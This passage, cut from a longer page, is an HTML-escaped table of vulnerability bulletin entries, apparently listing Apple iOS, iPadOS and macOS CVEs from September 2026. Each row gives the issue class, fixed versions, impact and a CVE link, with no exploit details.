&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86882&quot; target=&quot;_blank&quot;&gt;CVE-2026-86882&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A privacy issue was addressed with improved handling of files. This issue is fixed in iOS 27 and iPadOS 27, visionOS 27. An app may be able to access sensitive user data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86883&quot; target=&quot;_blank&quot;&gt;CVE-2026-86883&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A permissions issue was addressed with additional restrictions. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, tvOS 27, watchOS 27. An app may be able to access sensitive user data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86884&quot; target=&quot;_blank&quot;&gt;CVE-2026-86884&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An input validation issue was addressed with improved input validation. This issue is fixed in iOS 27 and iPadOS 27. An attacker in radio range may be able to cause unexpected system termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86885&quot; target=&quot;_blank&quot;&gt;CVE-2026-86885&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A path traversal issue was addressed with improved input validation. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, watchOS 27. An app may be able to modify protected system files.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86886&quot; target=&quot;_blank&quot;&gt;CVE-2026-86886&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A privacy issue was addressed by removing sensitive data. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, visionOS 27. An app may be able to bypass certain Privacy preferences.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86887&quot; target=&quot;_blank&quot;&gt;CVE-2026-86887&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A permissions issue was addressed with additional restrictions. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. A local app may be able to read a persistent account identifier.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86888&quot; target=&quot;_blank&quot;&gt;CVE-2026-86888&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A logic issue was addressed with improved checks. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27. An attacker with physical access to a locked device may be able to view sensitive user information.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86890&quot; target=&quot;_blank&quot;&gt;CVE-2026-86890&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;This issue was addressed with additional entitlement checks. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, visionOS 27. An app may be able to cause a denial-of-service.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86892&quot; target=&quot;_blank&quot;&gt;CVE-2026-86892&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A permissions issue was addressed with additional restrictions. This issue is fixed in iOS 27 and iPadOS 27, tvOS 27, visionOS 27, watchOS 27. An app may be able to read device name.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86893&quot; target=&quot;_blank&quot;&gt;CVE-2026-86893&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An information disclosure issue was addressed with improved state management. This issue is fixed in iOS 27 and iPadOS 27, tvOS 27, visionOS 27, watchOS 27. A local app may be able to read a persistent account identifier.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86895&quot; target=&quot;_blank&quot;&gt;CVE-2026-86895&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds read was addressed with improved input validation. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, tvOS 27, visionOS 27, watchOS 27. An app may be able to disclose kernel memory.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86903&quot; target=&quot;_blank&quot;&gt;CVE-2026-86903&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A privacy issue was addressed with improved state management. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, watchOS 27. An app may be able to track users across apps and websites without permission.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86904&quot; target=&quot;_blank&quot;&gt;CVE-2026-86904&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;This issue was addressed by removing the vulnerable code. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, visionOS 27. An app may be able to delete credentials stored in Keychain.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86905&quot; target=&quot;_blank&quot;&gt;CVE-2026-86905&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A memory corruption issue was addressed with improved input validation. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Tahoe 26.7. Connecting a malicious accessory may cause unexpected system termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86924&quot; target=&quot;_blank&quot;&gt;CVE-2026-86924&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A correctness issue was addressed with improved checks. This issue is fixed in macOS Sonoma 14.8.8. An attacker with physical access may be able to silently persist an Apple Account on an erased device.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28836&quot; target=&quot;_blank&quot;&gt;CVE-2026-28836&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A logic issue was addressed with improved checks. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.6, macOS Tahoe 26.7. An app may bypass Gatekeeper checks.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28899&quot; target=&quot;_blank&quot;&gt;CVE-2026-28899&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A use-after-free issue was addressed with improved memory management. This issue is fixed in macOS Sequoia 15.7.8, macOS Sonoma 14.8.8, macOS Tahoe 26.6. An app may be able to cause unexpected system termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28933&quot; target=&quot;_blank&quot;&gt;CVE-2026-28933&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A buffer overflow was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Mounting a malicious disk image may cause unexpected system termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28934&quot; target=&quot;_blank&quot;&gt;CVE-2026-28934&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;This issue was addressed through improved state management. This issue is fixed in macOS Golden Gate 27. An app may be able to access sensitive user data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28937&quot; target=&quot;_blank&quot;&gt;CVE-2026-28937&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds write issue was addressed by removing the vulnerable code. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Connecting to a malicious WebDAV server may lead to unexpected app termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-43677&quot; target=&quot;_blank&quot;&gt;CVE-2026-43677&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to cause unexpected process termination or disclose process memory.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-43683&quot; target=&quot;_blank&quot;&gt;CVE-2026-43683&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A race condition was addressed with improved locking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. A local user may be able to read kernel memory.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-43690&quot; target=&quot;_blank&quot;&gt;CVE-2026-43690&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A path handling issue was addressed with improved validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to gain root privileges.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-43691&quot; target=&quot;_blank&quot;&gt;CVE-2026-43691&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A validation issue was addressed with improved input sanitization. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. A remote user may cause an unexpected app termination or arbitrary code execution.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-43692&quot; target=&quot;_blank&quot;&gt;CVE-2026-43692&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;An authorization issue was addressed with improved entitlement checks. This issue is fixed in macOS Golden Gate 27. An app may be able to capture Touch Bar content without authorization.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-43696&quot; target=&quot;_blank&quot;&gt;CVE-2026-43696&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Processing a maliciously crafted 3D file may lead to an out-of-bounds read.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-43697&quot; target=&quot;_blank&quot;&gt;CVE-2026-43697&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A use-after-free issue was addressed with improved memory management. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Mounting a maliciously crafted SMB network share may lead to system termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-43719&quot; target=&quot;_blank&quot;&gt;CVE-2026-43719&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A logic issue was addressed with improved state management. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to access protected user data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-43741&quot; target=&quot;_blank&quot;&gt;CVE-2026-43741&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in macOS Sequoia 15.7.8, macOS Sonoma 14.8.8, macOS Tahoe 26.6. Mounting a malicious disk image may cause unexpected system termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-43761&quot; target=&quot;_blank&quot;&gt;CVE-2026-43761&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A race condition was addressed with improved locking. This issue is fixed in macOS Tahoe 26.6. A malicious app may be able to gain root privileges.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-43783&quot; target=&quot;_blank&quot;&gt;CVE-2026-43783&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;This issue was addressed with additional entitlement checks. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to gain root privileges.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-43786&quot; target=&quot;_blank&quot;&gt;CVE-2026-43786&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A logic issue was addressed with improved checks. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An attacker in a privileged network position may be able to leak sensitive user information.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-43787&quot; target=&quot;_blank&quot;&gt;CVE-2026-43787&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;An integer overflow was addressed with improved input validation. This issue is fixed in macOS Golden Gate 27. Processing a maliciously crafted file may lead to a denial-of-service or potentially disclose memory contents.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-43788&quot; target=&quot;_blank&quot;&gt;CVE-2026-43788&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;An access issue was addressed with additional sandbox restrictions. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to access user-sensitive data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-43789&quot; target=&quot;_blank&quot;&gt;CVE-2026-43789&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;The issue was addressed with improved memory handling. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. A remote attacker may be able to cause unexpected system termination or corrupt kernel memory.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-43790&quot; target=&quot;_blank&quot;&gt;CVE-2026-43790&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A validation issue was addressed with improved input sanitization. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to read arbitrary files.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-43791&quot; target=&quot;_blank&quot;&gt;CVE-2026-43791&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A buffer overflow was addressed with improved bounds checking. This issue is fixed in macOS Sequoia 15.7.8, macOS Sonoma 14.8.8, macOS Tahoe 26.6. Connecting to a malicious afpfs server may lead to kernel memory corruption.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-43815&quot; target=&quot;_blank&quot;&gt;CVE-2026-43815&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Sequoia 15.7.8, macOS Tahoe 26.6. A malicious app may be able to gain root privileges.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-64701&quot; target=&quot;_blank&quot;&gt;CVE-2026-64701&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;This issue was addressed with improved checks. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to gain root privileges.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-64712&quot; target=&quot;_blank&quot;&gt;CVE-2026-64712&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A path handling issue was addressed with improved validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to gain elevated privileges.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-64790&quot; target=&quot;_blank&quot;&gt;CVE-2026-64790&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A permissions issue was addressed with improved validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to access sensitive user data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65342&quot; target=&quot;_blank&quot;&gt;CVE-2026-65342&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;This issue was addressed with improved checks. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to access sensitive user data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65361&quot; target=&quot;_blank&quot;&gt;CVE-2026-65361&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;This issue was addressed with improved checks. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to gain root privileges.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65362&quot; target=&quot;_blank&quot;&gt;CVE-2026-65362&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. A remote attacker may be able to cause unexpected system termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65364&quot; target=&quot;_blank&quot;&gt;CVE-2026-65364&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Connecting to a malicious SMB share may disclose kernel memory.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65365&quot; target=&quot;_blank&quot;&gt;CVE-2026-65365&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A logic issue was addressed with improved state management. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. A malicious application may bypass Gatekeeper checks.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65369&quot; target=&quot;_blank&quot;&gt;CVE-2026-65369&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A memory corruption issue was addressed with improved validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Connecting to a malicious WebDAV server may result in code execution.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
